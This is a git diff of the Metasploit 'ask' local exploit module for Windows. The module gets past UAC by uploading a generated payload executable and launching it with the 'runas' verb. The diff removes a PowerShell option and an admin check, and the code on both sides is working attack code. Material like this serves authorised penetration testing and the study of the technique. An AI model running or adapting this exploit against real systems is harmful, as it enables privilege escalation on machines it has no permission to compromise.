diff --git a/modules/exploits/windows/local/ask.rb b/modules/exploits/windows/local/ask.rb
index e978384d52..35796ed0a0 100644
--- a/modules/exploits/windows/local/ask.rb
+++ b/modules/exploits/windows/local/ask.rb
@@ -5,14 +5,12 @@
 
 require 'msf/core'
 require 'msf/core/exploit/exe'
-require 'msf/core/exploit/powershell'
 
 class Metasploit3 < Msf::Exploit::Local
   Rank = ExcellentRanking
 
   include Exploit::EXE
   include Post::File
-  include Exploit::Powershell
 
   def initialize(info={})
     super( update_info( info,
@@ -23,10 +21,7 @@ class Metasploit3 < Msf::Exploit::Local
         UAC settings.
       },
       'License'       => MSF_LICENSE,
-      'Author'        => [
-          'mubix', # Original technique
-          'b00stfr3ak' # Added powershell option
-      ],
+      'Author'        => [ 'mubix' ],
       'Platform'      => [ 'win' ],
       'SessionTypes'  => [ 'meterpreter' ],
       'Targets'       => [ [ 'Windows', {} ] ],
@@ -34,48 +29,19 @@ class Metasploit3 < Msf::Exploit::Local
       'References'    => [
         [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
       ],
-      'DisclosureDate'=> "Jan 3 2012",
+      'DisclosureDate'=> "Jan 3 2012"
     ))
 
     register_options([
       OptString.new("FILENAME", [ false, "File name on disk"]),
       OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
-      OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
-      OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
+      OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
     ])
 
   end
 
-  def check
-    session.readline
-    print_status('Checking admin status...')
-    whoami = session.sys.process.execute('cmd /c whoami /groups',
-                                         nil,
-                                         {'Hidden' => true, 'Channelized' => true}
-    )
-    cmdout = []
-    while(cmdoutput = whoami.channel.read)
-      cmdout << cmdoutput
-    end
-    if cmdout.size == 0
-      fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
-    else
-      isinadmins = cmdout.join.scan(/S-1-5-32-544/)
-      if isinadmins.size > 0
-        print_good('Part of Administrators group! Continuing...')
-        return Exploit::CheckCode::Vulnerable
-      else
-        print_error('Not in admins group, cannot escalate with this module')
-        print_error('Exiting...')
-        return Exploit::CheckCode::Safe
-      end
-    end
-  end
   def exploit
-    admin_check = check
-    if admin_check.join =~ /safe/
-      return Exploit::CheckCode::Safe
-    end
+
     root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
     open_key = session.sys.registry.open_key(root_key, base_key)
     lua_setting = open_key.query_value('EnableLUA')
@@ -89,38 +55,44 @@ class Metasploit3 < Msf::Exploit::Local
     uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
 
     case uac_level.data
-      when 2
-        print_status "UAC is set to 'Always Notify'"
-        print_status "The user will be prompted, wait for them to click 'Ok'"
-      when 5
-        print_debug "UAC is set to Default"
-        print_debug "The user will be prompted, wait for them to click 'Ok'"
-      when 0
-        print_good "UAC is not enabled, no prompt for the user"
+    when 2
+      print_status "UAC is set to 'Always Notify'"
+      print_status "The user will be prompted, wait for them to click 'Ok'"
+    when 5
+      print_debug "UAC is set to Default"
+      print_debug "The user will be prompted, wait for them to click 'Ok'"
+    when 0
+      print_good "UAC is not enabled, no prompt for the user"
     end
 
+
     #
     # Generate payload and random names for upload
     #
-    case datastore["TECHNIQUE"]
-      when "EXE"
-        exe_payload = generate_payload_exe
-        payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
-        payload_path = datastore["PATH"] || expand_path("%TEMP%")
-        cmd_location = "#{payload_path}\\#{payload_filename}"
-        if datastore["UPLOAD"]
-          print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
-          write_file(cmd_location, exe_payload)
-        else
-          #print_error("No Upload Path!")
-          fail_with(Exploit::Failure::BadConfig, "No Upload Path!")
-          return
-        end
-        command, args = cmd_location,nil
-        session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
-      when "PSH"
-        command, args = "cmd.exe",  " /c #{cmd_psh_payload(payload.encoded)}"
+    payload = generate_payload_exe
+
+    if datastore["FILENAME"]
+      payload_filename = datastore["FILENAME"]
+    else
+      payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
     end
-    session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
+
+    if datastore["PATH"]
+      payload_path = datastore["PATH"]
+    else
+      payload_path = session.fs.file.expand_path("%TEMP%")
+    end
+
+    cmd_location = "#{payload_path}\\#{payload_filename}"
+
+    if datastore["UPLOAD"]
+      print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
+      fd = session.fs.file.new(cmd_location, "wb")
+      fd.write(payload)
+      fd.close
+    end
+
+    session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
+
   end
 end